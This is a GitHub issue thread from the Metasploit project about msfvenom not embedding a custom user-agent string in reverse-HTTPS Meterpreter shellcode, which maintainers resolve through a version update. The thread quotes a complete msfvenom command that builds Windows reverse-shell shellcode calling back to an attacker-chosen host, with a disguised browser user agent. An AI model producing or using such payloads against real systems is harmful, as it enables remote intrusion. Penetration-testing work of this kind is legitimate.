-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
No user-agent embedded in the shellcode via msfvenom with payload 'windows/x64/meterpreter/reverse_https' #19764
Comments
Hello @sscoconutree, I'll look into this, just to triage the issue, are the other options working for you? for example the proxy related options? |
Hello, I haven't tried those options since it isn't needed in my current experiment and I don't quite know how to integrate those with it. Thank you for looking into this issue! |
@sscoconutree what version of metasploit are you using? make sure your version include this PR: make sure you have:
|
Hi this is the version I have: metasploit v6.4.34-dev I guess I need to update mine. Thank you for help! |
It seems to be working now. Lastly, do we have an option in metasploit to have custom URIs in the shellcode? |
No, changing the URI with that payload is not possible. |
Summary
How come there are no user-agent strings embedded in the shellcode when using this command:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 PayloadUUIDTracking=true HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edge/131.0.2903.86" PayloadUUIDName="foobar" -f raw EXITFUNC=thread -o shellcode.bin
I tried to send a request over my web server and this was shown in my apache2 logs.
Checking the plaintext of this shellcode, it seems the IP of my web server and the initial URI is only baked.
Relevant information
I found a similar issue before and I checked the source code again in the latest version of metasploit and it seems the changes by @busterb from the issue below was already applied however I was still having problems on how to embed the initial user-agent in the shellcode.
#11075
The text was updated successfully, but these errors were encountered: